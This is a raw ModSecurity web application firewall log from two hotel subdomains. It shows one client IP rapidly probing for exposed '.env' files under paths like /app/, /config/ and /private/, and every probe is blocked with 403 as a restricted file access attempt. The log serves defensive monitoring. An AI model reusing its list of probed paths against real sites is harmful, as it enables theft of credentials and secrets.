[Sun Oct 25 18:01:08.477919 2026] [security2:error] [pid 2897967:tid 2897967] [client 34.176.90.213:39296] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env~"] [unique_id "at58JBVtY6H0wJd2uaILZgAAADA"]
[Sun Oct 25 18:01:08.478266 2026] [security2:error] [pid 2897967:tid 2897967] [client 34.176.90.213:39296] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env~"] [unique_id "at58JBVtY6H0wJd2uaILZgAAADA"]
[Sun Oct 25 18:01:08.541302 2026] [security2:error] [pid 2909561:tid 2909561] [client 34.176.90.213:39274] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /core/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/core/.env"] [unique_id "at58JBFm2vH00tQABbbuxAAAAAg"]
[Sun Oct 25 18:01:08.541563 2026] [security2:error] [pid 2909561:tid 2909561] [client 34.176.90.213:39274] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/core/.env"] [unique_id "at58JBFm2vH00tQABbbuxAAAAAg"]
[Sun Oct 25 18:01:08.541883 2026] [security2:error] [pid 2909561:tid 2909561] [client 34.176.90.213:39274] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/core/.env"] [unique_id "at58JBFm2vH00tQABbbuxAAAAAg"]
[Sun Oct 25 18:01:08.601410 2026] [security2:error] [pid 2897967:tid 2897967] [client 34.176.90.213:39296] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/app/.env"] [unique_id "at58JBVtY6H0wJd2uaILZwAAADA"]
[Sun Oct 25 18:01:08.601660 2026] [security2:error] [pid 2897967:tid 2897967] [client 34.176.90.213:39296] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/app/.env"] [unique_id "at58JBVtY6H0wJd2uaILZwAAADA"]
[Sun Oct 25 18:01:08.601926 2026] [security2:error] [pid 2897967:tid 2897967] [client 34.176.90.213:39296] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/app/.env"] [unique_id "at58JBVtY6H0wJd2uaILZwAAADA"]
[Sun Oct 25 18:01:08.665725 2026] [security2:error] [pid 2909561:tid 2909561] [client 34.176.90.213:39274] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /core/app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/core/app/.env"] [unique_id "at58JBFm2vH00tQABbbuxQAAAAg"]
[Sun Oct 25 18:01:08.665989 2026] [security2:error] [pid 2909561:tid 2909561] [client 34.176.90.213:39274] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/core/app/.env"] [unique_id "at58JBFm2vH00tQABbbuxQAAAAg"]
[Sun Oct 25 18:01:08.666341 2026] [security2:error] [pid 2909561:tid 2909561] [client 34.176.90.213:39274] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/core/app/.env"] [unique_id "at58JBFm2vH00tQABbbuxQAAAAg"]
[Sun Oct 25 18:01:08.725177 2026] [security2:error] [pid 2897967:tid 2897967] [client 34.176.90.213:39296] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /apps/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/apps/.env"] [unique_id "at58JBVtY6H0wJd2uaILaAAAADA"]
[Sun Oct 25 18:01:08.725420 2026] [security2:error] [pid 2897967:tid 2897967] [client 34.176.90.213:39296] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/apps/.env"] [unique_id "at58JBVtY6H0wJd2uaILaAAAADA"]
[Sun Oct 25 18:01:08.725717 2026] [security2:error] [pid 2897967:tid 2897967] [client 34.176.90.213:39296] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/apps/.env"] [unique_id "at58JBVtY6H0wJd2uaILaAAAADA"]
[Sun Oct 25 18:01:08.790626 2026] [security2:error] [pid 2909561:tid 2909561] [client 34.176.90.213:39274] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /core/database/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/core/Database/.env"] [unique_id "at58JBFm2vH00tQABbbuxgAAAAg"]
[Sun Oct 25 18:01:08.790886 2026] [security2:error] [pid 2909561:tid 2909561] [client 34.176.90.213:39274] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/core/Database/.env"] [unique_id "at58JBFm2vH00tQABbbuxgAAAAg"]
[Sun Oct 25 18:01:08.791217 2026] [security2:error] [pid 2909561:tid 2909561] [client 34.176.90.213:39274] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/core/Database/.env"] [unique_id "at58JBFm2vH00tQABbbuxgAAAAg"]
[Sun Oct 25 18:01:08.848940 2026] [security2:error] [pid 2897967:tid 2897967] [client 34.176.90.213:39296] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/api/.env"] [unique_id "at58JBVtY6H0wJd2uaILaQAAADA"]
[Sun Oct 25 18:01:08.849208 2026] [security2:error] [pid 2897967:tid 2897967] [client 34.176.90.213:39296] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/api/.env"] [unique_id "at58JBVtY6H0wJd2uaILaQAAADA"]
[Sun Oct 25 18:01:08.849520 2026] [security2:error] [pid 2897967:tid 2897967] [client 34.176.90.213:39296] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/api/.env"] [unique_id "at58JBVtY6H0wJd2uaILaQAAADA"]
[Sun Oct 25 18:01:08.918578 2026] [security2:error] [pid 2909561:tid 2909561] [client 34.176.90.213:39274] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /config/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/config/.env"] [unique_id "at58JBFm2vH00tQABbbuxwAAAAg"]
[Sun Oct 25 18:01:08.918840 2026] [security2:error] [pid 2909561:tid 2909561] [client 34.176.90.213:39274] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/config/.env"] [unique_id "at58JBFm2vH00tQABbbuxwAAAAg"]
[Sun Oct 25 18:01:08.919141 2026] [security2:error] [pid 2909561:tid 2909561] [client 34.176.90.213:39274] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/config/.env"] [unique_id "at58JBFm2vH00tQABbbuxwAAAAg"]
[Sun Oct 25 18:01:08.978659 2026] [security2:error] [pid 2897967:tid 2897967] [client 34.176.90.213:39296] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /web/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/web/.env"] [unique_id "at58JBVtY6H0wJd2uaILagAAADA"]
[Sun Oct 25 18:01:08.978894 2026] [security2:error] [pid 2897967:tid 2897967] [client 34.176.90.213:39296] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/web/.env"] [unique_id "at58JBVtY6H0wJd2uaILagAAADA"]
[Sun Oct 25 18:01:08.979267 2026] [security2:error] [pid 2897967:tid 2897967] [client 34.176.90.213:39296] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/web/.env"] [unique_id "at58JBVtY6H0wJd2uaILagAAADA"]
[Sun Oct 25 18:01:09.044710 2026] [security2:error] [pid 2909561:tid 2909561] [client 34.176.90.213:39274] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /private/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/private/.env"] [unique_id "at58JRFm2vH00tQABbbuyAAAAAg"]
[Sun Oct 25 18:01:09.044950 2026] [security2:error] [pid 2909561:tid 2909561] [client 34.176.90.213:39274] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/private/.env"] [unique_id "at58JRFm2vH00tQABbbuyAAAAAg"]
[Sun Oct 25 18:01:09.045282 2026] [security2:error] [pid 2909561:tid 2909561] [client 34.176.90.213:39274] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/private/.env"] [unique_id "at58JRFm2vH00tQABbbuyAAAAAg"]
[Sun Oct 25 18:01:09.102558 2026] [security2:error] [pid 2897967:tid 2897967] [client 34.176.90.213:39296] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /site/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/site/.env"] [unique_id "at58JRVtY6H0wJd2uaILawAAADA"]
[Sun Oct 25 18:01:09.102903 2026] [security2:error] [pid 2897967:tid 2897967] [client 34.176.90.213:39296] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/site/.env"] [unique_id "at58JRVtY6H0wJd2uaILawAAADA"]
[Sun Oct 25 18:01:09.103321 2026] [security2:error] [pid 2897967:tid 2897967] [client 34.176.90.213:39296] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/site/.env"] [unique_id "at58JRVtY6H0wJd2uaILawAAADA"]
[Sun Oct 25 18:01:09.169481 2026] [security2:error] [pid 2909561:tid 2909561] [client 34.176.90.213:39274] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /current/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/current/.env"] [unique_id "at58JRFm2vH00tQABbbuyQAAAAg"]
[Sun Oct 25 18:01:09.169829 2026] [security2:error] [pid 2909561:tid 2909561] [client 34.176.90.213:39274] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/current/.env"] [unique_id "at58JRFm2vH00tQABbbuyQAAAAg"]
[Sun Oct 25 18:01:09.170263 2026] [security2:error] [pid 2909561:tid 2909561] [client 34.176.90.213:39274] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/current/.env"] [unique_id "at58JRFm2vH00tQABbbuyQAAAAg"]
[Sun Oct 25 18:01:09.227642 2026] [security2:error] [pid 2897967:tid 2897967] [client 34.176.90.213:39296] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /public/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/public/.env"] [unique_id "at58JRVtY6H0wJd2uaILbAAAADA"]
[Sun Oct 25 18:01:09.227868 2026] [security2:error] [pid 2897967:tid 2897967] [client 34.176.90.213:39296] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/public/.env"] [unique_id "at58JRVtY6H0wJd2uaILbAAAADA"]
[Sun Oct 25 18:01:09.228217 2026] [security2:error] [pid 2897967:tid 2897967] [client 34.176.90.213:39296] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/public/.env"] [unique_id "at58JRVtY6H0wJd2uaILbAAAADA"]
[Sun Oct 25 18:01:09.302818 2026] [security2:error] [pid 2909561:tid 2909561] [client 34.176.90.213:39274] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /release/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/release/.env"] [unique_id "at58JRFm2vH00tQABbbuygAAAAg"]
